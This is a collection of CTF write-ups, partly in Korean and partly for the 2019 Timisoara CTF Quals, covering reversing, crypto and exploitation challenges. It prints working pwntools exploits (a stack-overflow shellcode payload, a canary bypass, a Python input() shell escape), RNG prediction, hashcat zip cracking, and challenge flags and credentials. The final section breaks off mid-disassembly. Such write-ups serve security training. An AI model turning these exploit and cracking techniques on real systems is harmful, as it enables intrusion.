Encrypt 파일을 1bytes씩 역연산해줘서 새로운 파일을 쓰면 된다.

#include <stdio.h>

int dec_to_hex(unsigned int a1){
   return (unsigned int)(16 * (a1 / 0xAu) + a1 % 0xAu);
}

int main(){
   unsigned int v4; // [rsp+2Eh] [rbp-92h]
   unsigned int v5; // [rsp+30h] [rbp-90h]
   unsigned int v6; // [rsp+31h] [rbp-8Fh]
   unsigned int v7; // [rsp+32h] [rbp-8Eh]
   unsigned int v8;
   FILE * v14;
   FILE *File;

   File = fopen("Encrypt.exe", "rb");

   v14 = fopen("Decrypt.exe", "wb");
   v5 = dec_to_hex(12u);
   v6 = dec_to_hex(1u);
   v7 = dec_to_hex(95u);
   v8 = dec_to_hex(19u);
   
   while (fscanf(File, "%c", &v4) != -1)
   {
      v4 += v8;
      v4 ^= v7;
      v4 ^= v6;
      v4 -= v5;
      fputc(v4, v14);
   }
   return 0;
}

그러면 새로운 Decrypt.exe 파일이 생긴다.

int __fastcall sub_1400030F0(__int64 a1)
{
  __int64 v1; // rbx
  int v2; // edi
  int v3; // eax
  UINT v4; // er9
  const CHAR *v5; // r8
  const CHAR *v6; // rdx

  v1 = a1;
  v2 = sub_14002B0D0(a1, 1000i64, 0i64, 1i64);
  v3 = sub_14002B0D0(v1, 1001i64, 0i64, 1i64);
  if ( (v2 - 10000) > 89999 || (v3 - 10000) > 89999 )
  {
    v6 = "nono! number length chack!!";
    goto LABEL_10;
  }
  if ( ((v2 + v3 * (v2 - 1) - 3 * (v3 / 2)) ^ 0xAAEFEAE) != 0x1AE9AA40 )
  {
    v6 = "oh..no number u_u";
LABEL_10:
    v4 = 16;
    v5 = "oh...";
    return MessageBoxA(0i64, v6, v5, v4);
  }
  if ( (v2 - 26000) >= 1000 || (v3 - 10000) >= 1000 )
  {
    MessageBoxA(0i64, "Other than this number.", "Not this..", 0x30u);
    v4 = 64;
    v5 = "Not this..";
    v6 = &unk_140230A40;
  }
  else
  {
    MessageBoxA(0i64, "yesyes! number!!", "OK", 0x40u);
    v4 = 64;
    v5 = "OK";
    v6 = &unk_1402309D0;
  }
  return MessageBoxA(0i64, v6, v5, v4);
}

v2는 Serial 앞 글자 v3는 Serial 뒷 글자이므로 저 수식에 만족하도록 한후 yesyes! number!! 메시지 박스 띄워주면 된다.

for i in range(10000,99999):
	print i
	for j in range(10000,99999):
		if (((i + j * (i - 1) - 3 * (j / 2)) ^ 0xAAEFEAE) == 453021088):
			print 'Serial : ' + str(i) + '-' + str(j)
print 'Finish'

이렇게 돌리면 Serial이 4개 나온다. 이 중에서 맞춰서 넣으면 된다.

Serial 앞자리는 46442 뒷자리는 98872 이렇게 넣어주면 OK 뜬다.

FLAG : 4644298872

Q3

Apk 파일을 준다.

Q4

First Blood한 Reversing 문제다.

q4: ELF 64-bit LSB shared object x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=d0a485ffb13e19abe4bd3ca6d39f816ec30901f4, not stripped

ELF 64비트 파일이다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int v4; // ecx
  int v5; // er8
  int v6; // er9
  unsigned int i; // [rsp+8h] [rbp-68h]
  unsigned int j; // [rsp+Ch] [rbp-64h]
  unsigned int v10; // [rsp+10h] [rbp-60h]
  unsigned int v11; // [rsp+14h] [rbp-5Ch]
  unsigned int v12; // [rsp+18h] [rbp-58h]
  unsigned int v13; // [rsp+1Ch] [rbp-54h]
  unsigned int v14; // [rsp+20h] [rbp-50h]
  unsigned int v15; // [rsp+24h] [rbp-4Ch]
  unsigned int v16; // [rsp+28h] [rbp-48h]
  unsigned int v17; // [rsp+2Ch] [rbp-44h]
  unsigned int v18; // [rsp+30h] [rbp-40h]
  unsigned int v19; // [rsp+34h] [rbp-3Ch]
  unsigned int v20; // [rsp+38h] [rbp-38h]
  unsigned int v21; // [rsp+3Ch] [rbp-34h]
  unsigned __int64 v22; // [rsp+48h] [rbp-28h]

  v22 = __readfsqword(0x28u);
  puts(" [*] Please enjoy yourself.");
  fflush(_bss_start);
  for(i = 0; i <= 0xB; ++i )
  {
    printf(" Input[%d] : ", i);
    fflush(_bss_start);
    argv = (&v10 + i);
    __isoc99_scanf("%u", argv);
  }
  if ( Verify_Solution(&v10, argv, v3, v4, v5, v6) )
  {
    for ( j = 0; j <= 0xB; ++j )
      *(&v10 + j) ^= 0xAu;
    v15 ^= 0x73u;
    printf(" [+] flag { %c%c%c%c%c%c%c%c%c%c%c%c }\n", v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21);
  }
  else
  {
    puts(" [-] Do not be modest!!!");
  }
  return 0;
}

메인을 보게되면 입력한 값을 어떠한 함수를 걸쳐 연산해서 플래그를 내뿜는거 같다.

그냥 Verify_Solution 함수의 리턴 값만 True로 맞춰주면 될 것 같다.

이 함수를 Decompile 하려고 하면 안되는데 SP value 바꿔주면 된다.

바꿔주면 방정식들이 나오는데 SMT solver로 풀어주면 된다.

from z3 import *

s = Solver()
a1 = [BitVec('a%i'%i,32) for i in range(12)]

s.add(37485 * a1[0]
+ 29554 * a1[6]
+ 16388 * a1[7]
+ 57693 * a1[8]
+ 14626 * a1[9]
+ 39342 * a1[11]
+ 21090 * a1[10]
+ 50633 * a1[4]
+ 43166 * a1[5]
- 21621 * a1[1]
- 1874 * a1[2]
- 46273 * a1[3] == 18087985)

s.add(4809 * a1[1]
+ 22599 * a1[5]
+ 14794 * a1[4]
+ 50936 * a1[0]
+ 38962 * a1[3]
- 6019 * a1[2]
- 837 * a1[6]
- 36727 * a1[7]
- 50592 * a1[8]
- 11829 * a1[9]
- 20046 * a1[10]
- 9256 * a1[11] == 4292548406)

s.add(26907 * a1[3]
+ 17702 * a1[8]
+ 5371 * a1[11]
+ 42654 * a1[10]
+ 52943 * a1[1]
- 38730 * a1[0]
- 16882 * a1[2]
- 44446 * a1[4]
- 18601 * a1[5]
- 65221 * a1[6]
- 47543 * a1[7]
- 33910 * a1[9] == 4286707107)

s.add(57747 * a1[0]
+ 8621 * a1[10]
+ 34805 * a1[7]
+ 54317 * a1[4]
+ 10649 * a1[6]
- 23889 * a1[1]
- 26016 * a1[2]
- 25170 * a1[3]
- 32337 * a1[5]
- 9171 * a1[8]
- 22855 * a1[9]
- 634 * a1[11] == 2860700)

s.add(43964 * a1[2]
+ 34670 * a1[3]
+ 54889 * a1[4]
+ 28134 * a1[8]
+ 15578 * a1[11]
+ 43186 * a1[9]
+ 16323 * a1[1]
- 14005 * a1[0]
- 6141 * a1[5]
- 35427 * a1[6]
- 61977 * a1[7]
- 59676 * a1[10] == 7588953)

s.add(39603 * a1[6]
+ 13602 * a1[7]
+ 10305 * a1[11]
+ 29341 * a1[10]
+ -40760 * a1[0]
+ 13608 * a1[2]
- 22014 * a1[1]
- 4946 * a1[3]
- 26750 * a1[4]
- 31708 * a1[5]
- 59055 * a1[8]
- 32738 * a1[9] == 4285324349)

s.add(57856 * a1[1]
+ 16047 * a1[9]
+ 55241 * a1[7]
+ -47499 * a1[0]
+ 13477 * a1[2]
- 10219 * a1[3]
- 5032 * a1[4]
- 21039 * a1[5]
- 29607 * a1[6]
- 6065 * a1[8]
- 4554 * a1[10]
- 2262 * a1[11] == 1200729)

s.add(17175 * a1[1]
+ 41178 * a1[11]
+ 47909 * a1[7]
+ -65419 * a1[0]
+ 53309 * a1[6]
- 9410 * a1[2]
- 22514 * a1[3]
- 52377 * a1[4]
- 9235 * a1[5]
- 59111 * a1[8]
- 41289 * a1[9]
- 24422 * a1[10] == -16028930)

s.add(33381 * a1[3]
+ 46767 * a1[4]
+ 15699 * a1[10]
+ 58551 * a1[5]
+ 4135 * a1[1]
+ 1805 * a1[0]
- 16900 * a1[2]
- 34118 * a1[6]
- 44920 * a1[7]
- 11933 * a1[8]
- 20530 * a1[9]
- 36597 * a1[11] == 185252)

s.add(41284 * a1[3]
+ 47052 * a1[6]
+ 42363 * a1[7]
+ 15033 * a1[8]
+ 10788 * a1[10]
+ 18975 * a1[9]
+ 61056 * a1[1]
- 42941 * a1[0]
- 45169 * a1[2]
- 1722 * a1[4]
- 26423 * a1[5]
- 33319 * a1[11] == 8414043)

s.add(12587 * a1[6]
+ 58786 * a1[7]
+ 30753 * a1[10]
+ 22613 * a1[9]
+ -37085 * a1[0]
+ 12746 * a1[5]
- 51590 * a1[1]
- 17798 * a1[2]
- 10127 * a1[3]
- 52388 * a1[4]
- 8269 * a1[8]
- 20853 * a1[11] == 4290501167)

s.add(47566 * a1[1]
+ 9228 * a1[5]
+ 48719 * a1[8]
+ 57612 * a1[11]
+ 47348 * a1[9]
+ 36650 * a1[0]
+ 65196 * a1[4]
- 33282 * a1[2]
- 59180 * a1[3]
- 59599 * a1[6]
- 62888 * a1[7]
- 37592 * a1[10] == 3707996)

print s.check()
print s.model()

a1 = [68,58,90,93,100,38,68,69,108,95,100,43]

flag = ''
for i in range(len(a1)):
	if i != 5:
		flag += chr(a1[i]^0xa)
	else:
		flag += chr(a1[i]^0xa^0x73)

print 'FLAG is ' + flag

FLAG : N0PWn_NOfUn!


Q5

네트워크 문제이다.

Client.exe 파일도 주어지는데 나는 그냥 터미널의 netcat을 이용해서 풀었다.

ip와 port가 주어지는데 wireshark 패킷 캡쳐를 켜놓고 nc 1.209.148.228 5050 에 접속한 후 AAA를 입력하고 패킷을 보면 내가 보낸 패킷 AAA가 보내진 TCP Stream을 볼 수 있다. 그리고 다음 스트림을 보면 아래와 같은 스트림이 존재 했다.

여기서 주어진 1.209.148.228:6893으로 접속하게 되면 ID랑 Key를 입력하는 창을 볼 수 있는데 ID에는 user88, Key에는 FGDQeCYJnnFXwy69 를 입력해주면 된다.

FLAG : 9NHrJZQSi8mjG47r


Q6

이건 Forensic PNG LSB문제 같은데 복구하라는거 같다.

추후에 풀겠슴니다.

Q7

swift로 만들어진 .app 파일을 준다.

추후에 풀겠슴니다.

Q8

Unity Reversing 문제이다.

추후에 풀겠슴니다.

Q9

full relro, nx, pie가 걸려있고 따로 custom canary가 존재한다. 여기서 canary는 srand(time(0))로 rand값 가져오지만 scanf(%d,var[i])처럼 i 범위를 넘어서 카나리 값을 입력할 수 있을때 원래는 숫자만 가능하지만 문자가 입력되면 문자가 버퍼에 남아 %d를 통과하지만 +,-는 예외다. 버퍼에남지도 않고 해당 변수에 아무 값도 저장하지 않으므로 Canary bypass가 가능하다. 그래서 카나리를 손상시키지않고 return addresss만 변조시킬수 있다.

int coal_mine()
{
  unsigned int v0; // eax
  int v2[16]; // [esp+8h] [ebp-60h]
  char name; // [esp+48h] [ebp-20h]
  int v4; // [esp+58h] [ebp-10h]
  int i; // [esp+5Ch] [ebp-Ch]

  memset(v2, 0, sizeof(v2));
  v0 = time(0);
  srand(v0);
  my_canary = rand();
  v2[0] = my_canary;
  v4 = 10;
  printf("Mine worker ID : ");
  fflush(stdout);
  __isoc99_scanf("%24s", &name);
  for ( i = 0; i < v4; ++i )
  {
    printf("Mineral%d : ", i + 1);
    fflush(stdout);
    __isoc99_scanf("%u", &v2[i]);
  }
  for ( i = 0; i < v4; ++i )
    printf("%d. 0x%08u\n", i, v2[i]);
  if ( v2[0] != my_canary )
  {
    puts("you can't escape my coal mine ..");
    exit(0);
  }
  return puts("my canaria is uninfected. i'm safety !");
}

v4를 조작해서 ebp-60에서 리턴 위치인 ebp+4까지 갈 수 있는 크기를 만들어주고 Canary는 +,-로 bypass해주면 된다. 마지막 ebp+4의 값은 treasure위치로 바꿔주면 된다. 그러면 treasure로 가서 flag를 딸 수있다.

from pwn import *

#context.log_level = 'debug'
e = ELF('./coal_mine')
p = process('./coal_mine')

p.recvuntil('GOAL(')
magic = int(p.recv(10),16)
log.info('treasure : ' + hex(magic))

p.sendlineafter(': ','A'*16 + p32(26))
p.sendlineafter(':','+')
for i in range(24):
    p.sendlineafter(':','+')
p.sendlineafter(':',str(magic))
p.interactive()

FLAG : ??????


Q10

시작하자마자 2분만에 푼 문제인데 구글링 검색 문제였다. 취약점 발생한 CVE 찾으면 된다. IOS에서 뭐 보안결함 발생했는데 제대로 보완 안해서 다시 터졌다고 해서 그거 연관된 CVE랑 검색했는데 나왔다.

FLAG : CVE-2019-5431

2019 Timisoara CTF Quals Writeup

Team : Complex

Rank : 7

Country : Republic of Korea

Points : 4,426

Crypto

Baby Crypto (50pts)

This file seems… odd

In the name of the problem, I thought it was a Caesar cipher.

So I use Caesar decoder site. ( https://cryptii.com/ )

Shift by 8 to get the flag.

Otil bw amm gwc uilm qb! Emtkwum bw bpm ewvlmznct ewztl wn kzgxbwozixpg! Pmzm qa gwcz zmeizl: BQUKBN{Rctqca_Kimaiz_e0ctl_j3_xzwcl}

=> Glad to see you made it! Welcome to the wonderful world of cryptography! Here is your reward: TIMCTF{Julius_Caesar_w0uld_b3_proud}

FLAG : TIMCTF{Julius_Caesar_w0uld_b3_proud}


Proof of work (100pts)

While developing an anti-bot system we thought of a system to test if the users are indeed human. You need to enter a string whose SHA256 has the last 7 digits 0. As this hash is secure you need to use some processing power, thus denying spam. Sort of like mining bitcoin.

nc 89.38.208.143 21021

just bruteforce attack and find sha256 end of 0000000

import hashlib
import re

import string
ALLOWED_CHARACTERS = string.printable
NUMBER_OF_CHARACTERS = len(ALLOWED_CHARACTERS)

def characterToIndex(char):
    return ALLOWED_CHARACTERS.index(char)

def indexToCharacter(index):
    if NUMBER_OF_CHARACTERS <= index:
        raise ValueError("Index out of range.")
    else:
        return ALLOWED_CHARACTERS[index]

def next(string):
    if len(string) <= 0:
        string.append(indexToCharacter(0))
    else:
        string[0] = indexToCharacter((characterToIndex(string[0]) + 1) % NUMBER_OF_CHARACTERS)
        if characterToIndex(string[0]) is 0:
            return list(string[0]) + next(string[1:])
    return string

def main():
    sequence = list()
    while True:
        sequence = next(sequence)
        tmp = ''.join(i for i in sequence)
        m = hashlib.sha256()
    	m.update(tmp)
    	md5string=m.hexdigest()
        print md5string
        if md5string[57:] == '0000000':
            print md5string + " : " + tmp
            exit(0)

if __name__ == "__main__":
    main()

after connecting to the nc server, enter S@"m4 to get the flag.

FLAG : IMCTF{9e13449f334ded947431aa5001c2e9ab429ab5ddf880f416fe352a96eb2af122}


Alien Alphabet (150pts)

I found this strange text. It is written in some strange alphabet. Can you decode it?

i found this cipher is TEMPHIS .

I translated the last line and found a flag.

FLAG : TIMCTF{TEMPHIS_IS_AWESOME}


Password breaker (150pts)

I heard you were good at cracking passwords!

Hint! What are the most common attacks on a password? Dictionary and bruteforce

Hint! If it takes more than a few minutes you’re doing it wrong.

So I thought I had to solve the problem with a dictionary attack and brute force.

I used https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt ( rockyou.txt ) for dictionary attack.

And I used zip2john and hashcat.

First, I find zip file’s hash.

juntae@ubuntu:~/JohnTheRipper/run$ ./zip2john flag.zip 
flag.zip/stage2.zip:$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*b2*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$:stage2.zip:flag.zip:flag.zip

And make hash.txt

$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*b2*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$

Finally, use hashcat.

I can get zip file’s password.

Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 flag_hash.txt rockyou.txt
hashcat (v5.1.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 960, 512/2048 MB allocatable, 8MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Watchdog: Temperature abort trigger set to 90c

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*0*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$:johncena1234

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WinZip
Hash.Target......: $zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*.../zip2$
Time.Started.....: Wed Sep 18 23:17:18 2019 (4 secs)
Time.Estimated...: Wed Sep 18 23:17:22 2019 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   266.9 kH/s (5.84ms) @ Accel:64 Loops:62 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 917504/14344384 (6.40%)
Rejected.........: 0/917504 (0.00%)
Restore.Point....: 884736/14344384 (6.17%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-999
Candidates.#1....: lennylove -> jam16
Hardware.Mon.#1..: Temp: 54c Fan: 30% Util: 76% Core:1468MHz Mem:3004MHz Bus:16

Started: Wed Sep 18 23:17:15 2019
Stopped: Wed Sep 18 23:17:24 2019

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>

first password is johncena1234.

The password for stage2 can also be found in the same way.

Here, brute force is used.

juntae@ubuntu:~/JohnTheRipper/run$ ./zip2john stage2.zip 
stage2.zip/flag.txt:$zip2$*0*3*0*91f5b5c56b6f9aa71f0197c3f93e42c1*a1f8*21*1e7161f9e69797bd2fd8807cf7322289965fc39ea99ad05bab85343f58b802183a*d2163b2e7e4d1d7d89c2*$/zip2$:flag.txt:stage2.zip:stage2.zip

Finally, Brute force it!

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 -a 3 stage2_hash.txt a?a?a?a?
hashcat (v5.1.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 960, 512/2048 MB allocatable, 8MCU

INFO: All hashes found in potfile! Use --show to display them.

Started: Wed Sep 18 23:46:31 2019
Stopped: Wed Sep 18 23:46:31 2019

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 -a 3 stage2_hash.txt a?a?a?a? --show
$zip2$*0*3*0*91f5b5c56b6f9aa71f0197c3f93e42c1*a1f8*21*1e7161f9e69797bd2fd8807cf7322289965fc39ea99ad05bab85343f58b802183a*d2163b2e7e4d1d7d89c2*$/zip2$:bo$$

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>

Last password is bo$$.

FLAG : TIMCTF{12345_is_A_bad_passw0rd}


TimCTF gamblig service (200pts)

Predict the next number to win. Are you that lucky?

nc 89.38.208.143 21023

  • First I thought Mersenne Twister
  • But It wasn’t
  • I just guess Unixtime and that’s right
from pwn import *
from ctypes import *
c = CDLL("/lib/x86_64-linux-gnu/libc.so.6")

p = remote("89.38.208.143",21023)
c.srand(c.time(0)) 
for i in range(10):
	p.recvuntil("choice: ")
	p.sendline("1")
	x = int(p.recvline())
	print i+1," : Predict=",c.rand()," : Recved=",
	print x
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("guess: ")
p.sendline(str(c.rand()))
p.interactive()
  • I failed few times, but finally Succeed.
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara/crypto$ python ctype.py
[+] Opening connection to 89.38.208.143 on port 21023: Done
1  : Predict= 1085972033  : Recved= 1085972033
2  : Predict= 1086492775  : Recved= 1086492775
3  : Predict= 199921567  : Recved= 199921567
4  : Predict= 1854423452  : Recved= 1854423452
5  : Predict= 637623845  : Recved= 637623845
6  : Predict= 1180811229  : Recved= 1180811229
7  : Predict= 1322382820  : Recved= 1322382820
8  : Predict= 297329854  : Recved= 297329854
9  : Predict= 1637532318  : Recved= 1637532318
10  : Predict= 1132466532  : Recved= 1132466532
[*] Switching to interactive mode
Congratulations! Here is your reward: TIMCTF{Now_You_c4N_ch3at_aT_pacanele}
[*] Got EOF while reading in interactive

FLAG : TIMCTF{Now_You_c4N_ch3at_aT_pacanele}


Strange cipher (250pts)

I have found this strange encryption service. Can you decode it?

nc 89.38.208.143 21022

from pwn import *
import string
p = remote('89.38.208.143',21022)
p.recvuntil('flag: ')
enc = p.recvline()
enc = enc.split(' ')
del enc[-1]
print enc
table = string.printable
payload = ''
attempt = 254
for i in range(8):
    for j in table:
        p.sendlineafter('remaining: ',payload + j)
        p.recvuntil('Encrypted string: ')
        go = p.recvline().split()
        if enc[i] == go[i]:
            payload += j
            print "[*] payload = " + payload
            break
        print 'try -> ' + str(attempt) + " : " + j
        attempt -= 1
p.interactive()

brute force attack and make table

FLAG : TIMCTF{Y0u_really_make_A_diff3rence}


Exploit

Hiss hiss python (50pts)

This snake likes to h1ss at its input.

nc 89.38.208.144 11113

Hint! What is wrong with python input function?

import sys
print ("Hello user! I will give you a test. If you pass it, you get the flag\n")
print ("What is 2 + 3? ")
sys.stdout.flush()
x = input()

if (x == 5):
    print("Eh, I was just kidding. No flag for you")
else:
    print("Try again!")

Python input function has vulnerability.

If I use this vulnerability, I can execute any command.

This is easy python-jail-break problem, no filtering.

So, I can find python-jail-cheatsheet in google, and I use it.

Exploit

from pwn import *

#context.log_level = "debug"
r = remote("89.38.208.144", 11113)
command = "__import__('subpro'+'cess').call(['/bin/sh', '-s'])"
r.sendlineafter("? \n",command)
r.interactive()

FLAG : TIMCTF{h1ss_h1ss_shell}


Swag (100pts)

The server only lets hackers in, not script kiddies.

nc 89.38.208.144 11111

First, I see swag.cpp

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

using namespace std;

int global_cookie;
int main()
{
	char name[64];
	int cookie;
	int a;
	srand(time(0));
	cookie = rand();
	global_cookie = cookie;
	a = 2;
	printf("Enter your name: ");
	fflush(stdout);
	gets(name);
	printf("Hello, %s", name);

	if((cookie != global_cookie) || (a != 1))
	{
		printf(", it appears you don't have enough swag\n");
		exit(0);
	}
	printf(", I really like your swag. Come in!\n");
	return 0;
}

and, I open swag binary with IDA pro.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  char v5; // [rsp+0h] [rbp-50h]
  int v6; // [rsp+48h] [rbp-8h]
  int v7; // [rsp+4Ch] [rbp-4h]

  v3 = time(0LL);
  srand(v3);
  v7 = rand();
  global_cookie = v7;
  v6 = 2;
  printf("Enter your name: ", argv);
  fflush(_bss_start);
  gets(&v5);
  printf("Hello, %s", &v5);
  if ( v7 != global_cookie || v6 != 1 )
  {
    puts(", it appears you don't have enough swag");
    exit(0);
  }
  puts(", I really like your swag. Come in!");
  puts("Your access code is: TIMCTF{1_am_th3_c00kie_m0nsta}");
  return 0;
}

FLAG : TIMCTF{1_am_th3_c00kie_m0nsta}


Bof-server (100pts)

Today kids we learn how to write exploits for super-secure software: bof-server!

nc 89.38.208.144 11112

(non-standard flag format)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-100h]

  printf("Hello! Here is the stack address: %llx, enter your name please: ", &v4, envp);
  fflush(_bss_start);
  gets(&v4);
  printf("Nice to meet you, %s!\n", &v4);
  return 0;
}

This binary use gets(), we can catch RIP.

And, problem gives me stack address.

Finally, NX bit is disabled.

juntae@ubuntu:~/ctf/timisoara/pwn/bof-server$ checksec bof-server
[*] '/home/juntae/ctf/timisoara/pwn/bof-server/bof-server'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

This is mitigation of problem.

Exploit

As explained earlier, I can use shellcode.

So, I build shellcode in stack and make RIP stack address.

from pwn import *

context.arch = "amd64"
#context.log_level = "debug"

#r = remote("89.38.208.144",11112)
r = process("./bof-server")
e = ELF("./bof-server")
libc = e.libc

r.recvuntil(": ")
stack = int(r.recv(12),16)
log.info("stack : " + hex(stack))

shellcode = shellcraft.sh()

payload = asm(shellcode) 
payload = payload.ljust(0x108,"\x00")
payload += p64(stack)
r.sendlineafter("please: ",payload)

r.interactive()

FLAG : TIMCTF{oooverfl0w}wwwWWW


Rop Me Baby (200pts)

Can you still pull out a buffer overflow attack if the stack is non-executable? Let’s find out:

nc 89.38.208.147 2025

Note: as socat is not working in windows for some reason there is only one instance of this running at a time. Please make sure you disconnect properly. We will add more ports asap.

.text:000000000040159A ; __unwind { // sub_4ADA90
.text:000000000040159A                 push    rbp
.text:000000000040159B                 push    rbx
.text:000000000040159C                 mov     eax, 13D8h
.text:00000000004015A1                 call    sub_40C5F0
.text:00000000004015A6                 sub     rsp, rax
.text:00000000004015A9                 lea     rbp, [rsp+80h]
.text:00000000004015B1                 call    sub_40B220
.text:00000000004015B6                 lea     rax, [rbp+1360h+WSAData]
.text:00000000004015BD                 mov     rdx, rax        ; lpWSAData
.text:00000000004015C0                 mov     ecx, 202h       ; wVersionRequested
.text:00000000004015C5                 mov     rax, cs:WSAStartup
.text:00000000004015CC                 call    rax ; WSAStartup
.text:00000000004015CE                 mov     r8d, 6          ; protocol
.text:00000000004015D4                 mov     edx, 1          ; type
.text:00000000004015D9                 mov     ecx, 2          ; af
.text:00000000004015DE                 mov     rax, cs:socket
.text:00000000004015E5                 call    rax ; socket
.text:00000000004015E7                 mov     [rbp+1360h+s], rax
.text:00000000004015EE                 mov     [rbp+1360h+name.sa_family], 2
.text:00000000004015F7                 mov     dword ptr [rbp+1360h+name.sa_data+2], 0
.text:0000000000401601                 mov     ecx, 2025       ; hostshort
.text:0000000000401606                 mov     rax, cs:htons
.text:000000000040160D                 call    rax ; htons
.text:000000000040160F                 mov     word ptr [rbp+1360h+name.sa_data], ax
.text:0000000000401616                 lea     rax, [rbp+1360h+name]
.text:000000000040161D                 mov     rcx, [rbp+1360h+s] ; s
.text:0000000000401624                 mov     r8d, 10h        ; namelen
.text:000000000040162A                 mov     rdx, rax        ; name
.text:000000000040162D                 mov     rax, cs:bind
.text:0000000000401634                 call    rax ; bind
.text:0000000000401636                 cmp     eax, 0FFFFFFFFh
.text:0000000000401639                 setz    al
.text:000000000040163C                 test    al, al
.text:000000000040163E                 jz      short loc_401666
.text:0000000000401640                 lea     rdx, aUnableToBindSo ; "Unable to bind socket!\r\n"
.text:0000000000401647                 mov     rcx, cs:off_4B6FB0
.text:000000000040164E                 call    sub_4A9FC0
.text:0000000000401653                 mov     rax, cs:WSACleanup
.text:000000000040165A                 call    rax ; WSACleanup
.text:000000000040165C                 mov     ebx, 0
.text:0000000000401661                 jmp     loc_401955

First, open socket and port 2025.

So, I think rop_me_baby.exe is server

.text:0000000000401666 loc_401666:                             ; CODE XREF: sub_40159A+A4↑j
.text:0000000000401666                 mov     rax, [rbp+1360h+s]
.text:000000000040166D                 mov     edx, 14h        ; backlog
.text:0000000000401672                 mov     rcx, rax        ; s
.text:0000000000401675                 mov     rax, cs:listen
.text:000000000040167C                 call    rax ; listen
.text:000000000040167E                 lea     rdx, aWaitingForClie ; "Waiting for clients: "
.text:0000000000401685                 mov     rcx, cs:off_4B6FB0
.text:000000000040168C                 call    sub_4A9FC0

Second, start listen and waiting client.

.text:0000000000401807                 mov     rdx, rax        ; buf
.text:000000000040180A                 mov     rax, [rbp+1360h+var_18]
.text:0000000000401811                 mov     r9d, 0          ; flags
.text:0000000000401817                 mov     r8d, ebx        ; len
.text:000000000040181A                 mov     rcx, rax        ; s
.text:000000000040181D                 mov     rax, cs:send
.text:0000000000401824                 call    rax ; send
.text:0000000000401826                 lea     rax, [rbp+1360h+var_60]
.text:000000000040182D                 mov     rcx, rax
.text:0000000000401830                 call    sub_48FBF0
.text:0000000000401835                 lea     rax, [rbp+1360h+var_80]
.text:000000000040183C                 mov     rcx, rax
.text:000000000040183F                 call    sub_48FBF0
.text:0000000000401844                 mov     rax, [rbp+1360h+var_18]
.text:000000000040184B                 mov     r9d, 0          ; flags
